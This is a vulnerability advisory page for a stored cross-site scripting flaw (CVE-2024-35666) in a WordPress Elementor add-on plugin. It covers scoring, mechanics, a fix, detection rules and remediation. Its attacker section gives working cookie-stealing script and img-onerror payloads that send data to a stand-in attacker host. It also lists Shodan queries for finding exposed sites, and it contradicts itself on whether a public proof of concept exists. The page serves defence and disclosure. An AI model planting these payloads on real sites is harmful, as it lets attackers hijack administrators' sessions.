☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Themesflat logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 6.5 CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-35666

CVE-2024-35666 Cross-Site Scripting in Themesflat
📅 PUBLISHED: 2024-06-04 13:53 UTC 🔄 UPDATED: 2026-08-12 14:53 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.11%
👁️
0.11% probability
2.8× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Estonia License: Freemium
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.5
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: L Availability Low
6.5
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-35666 is a Stored Cross-Site Scripting (XSS) vulnerability in the Themesflat Addons For Elementor WordPress plugin, affecting versions up to and including 2.1.2. This flaw allows an authenticated attacker with contributor-level privileges or higher to inject arbitrary JavaScript into web pages via the plugin’s widget inputs. When an administrator views the compromised page, the malicious script executes in their browser session, potentially leading to session hijacking, credential theft, or defacement.

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation) and carries a CVSS v3.1 score of 6.5 (Medium). The attack vector is network-based, requires low complexity, and demands user interaction (the admin must view the page). No public exploit code or proof-of-concept is currently available, but the risk is elevated due to the widespread use of Elementor and the lack of a vendor patch.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability resides in a WordPress plugin distributed via the official WordPress plugin repository. The plugin is not an NPM, PyPI, Go, or Ruby package, but it is part of the WordPress ecosystem. The supply chain risk is moderate: if the plugin is installed from the official repository, the malicious code is not introduced at the package level, but the vulnerability can be exploited once the plugin is active. Administrators should treat this as a WordPress ecosystem issue and not blame the underlying web server (Apache/Nginx).

CVSS Breakdown & Threat Level

Metric Value
Attack Vector (AV) Network (N)
Attack Complexity (AC) Low (L)
Privileges Required (PR) Low (L) – requires contributor role
User Interaction (UI) Required (R) – admin must view page
Scope (S) Changed (C) – impacts beyond vulnerable component
Confidentiality (C) Low (L)
Integrity (I) Low (L)
Availability (A) Low (L)
Base Score 6.5 (Medium)

Threat Level: Medium. The requirement for authenticated access and user interaction reduces the immediate risk, but the stored nature of the XSS means the payload persists until manually removed. In a multi-tenant WordPress environment, a contributor could compromise an admin session.

Deep Dive & Mechanics

The vulnerability exists in the Themesflat Addons For Elementor plugin, which extends the Elementor page builder with custom widgets. The plugin fails to sanitize user-supplied input before storing it in the WordPress database and later rendering it in the admin dashboard or frontend. Specifically, the plugin’s widget fields (e.g., title, description, or custom HTML) are not properly neutralized, allowing an attacker to inject <script> tags or event handlers.

Attack Flow:

  1. An attacker with contributor-level access creates or edits a page/post using a vulnerable Themesflat widget.
  2. The attacker inserts a malicious payload into an input field, e.g., <script>alert(document.cookie)</script>.
  3. The plugin stores the payload in the wp_postmeta table without sanitization.
  4. When an administrator views the page (either in the admin panel or frontend), the payload executes in the admin’s browser.
  5. The attacker can then steal session cookies, perform actions on behalf of the admin, or deface the site.

The vulnerability is stored (persistent) because the payload remains in the database until manually deleted or the plugin is updated.

Vulnerable vs. Patched Code

Since no official patch exists, the following is a hypothetical fix based on standard WordPress security practices.

Vulnerable Code (themesflat-addons-for-elementor/includes/widgets/class-widget.php):

// No sanitization before saving
$title = $_POST['title'];
update_post_meta($post_id, '_themesflat_title', $title);

Patched Code (hypothetical):

// Sanitize input before saving
$title = sanitize_text_field($_POST['title']);
update_post_meta($post_id, '_themesflat_title', $title);

Additionally, output should be escaped:

echo esc_html(get_post_meta($post_id, '_themesflat_title', true));

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

  • WordPress instance with Themesflat Addons For Elementor <= 2.1.2 installed and active.
  • Contributor-level account credentials.

Steps:

  1. Log in as a contributor.
  2. Create a new page or edit an existing one.
  3. Add a Themesflat widget (e.g., "Themesflat Heading").
  4. In the widget’s title field, inject the payload:
    <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
    
  5. Save/publish the page.
  6. Wait for an administrator to view the page. The script will execute, sending the admin’s cookies to the attacker’s server.

Alternative payload (stealthy):

<img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)">

Blue Team (Defender)

Detection:

  • Monitor for unusual page/post edits by contributor-level users.
  • Look for <script> or <img onerror> patterns in post content.
  • Use the YARA and Sigma rules below.

Mitigation:

  • Disable the plugin until a patch is available.
  • Restrict contributor roles from using Elementor widgets (via user role editor plugin).
  • Implement a Web Application Firewall (WAF) rule to block XSS payloads in POST data.

Indicators of Compromise (IOCs)

  • File: /wp-content/plugins/themesflat-addons-for-elementor/ (entire plugin directory)
  • Database: Suspicious entries in wp_postmeta with meta_key like _themesflat_* containing JavaScript.
  • Network: Outbound requests to attacker-controlled domains from the WordPress server.
  • Logs: WordPress audit logs showing page edits by contributor users with unusual content.

Detection Engineering

YARA Rule

rule CVE_2024_35666_Themesflat_XSS {
    meta:
        description = "Detects stored XSS payloads in Themesflat Addons For Elementor"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-35666"
    strings:
        $payload1 = /<script[^>]*>.*?<\/script>/is
        $payload2 = /<img[^>]+onerror\s*=/is
        $payload3 = /<svg[^>]+onload\s*=/is
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-35666 - Stored XSS via Themesflat Addons For Elementor
id: 8a7b3c2d-1e5f-4a6b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects stored XSS payloads in WordPress post content
author: Valters IT
logsource:
    category: application
    product: wordpress
detection:
    selection:
        post_content|contains:
            - '<script>'
            - 'onerror='
            - 'onload='
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in posts (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-35666 - Stored XSS Payload Exfiltration"; flow:to_server,established; content:"/steal?cookie="; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the plugin until a patch is released.
  2. Audit all pages/posts created by contributor users for malicious content.
  3. Change all admin passwords and invalidate existing sessions.

Long-term Fix:

  • The vendor must release a patched version that sanitizes input and escapes output.
  • Until then, consider replacing the plugin with an alternative.

Workaround:

  • Use a WordPress security plugin (e.g., Wordfence) to block XSS payloads.
  • Implement Content Security Policy (CSP) headers to restrict script execution.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.html:"themesflat-addons-for-elementor"
http.html:"wp-content/plugins/themesflat-addons-for-elementor"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-35666/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.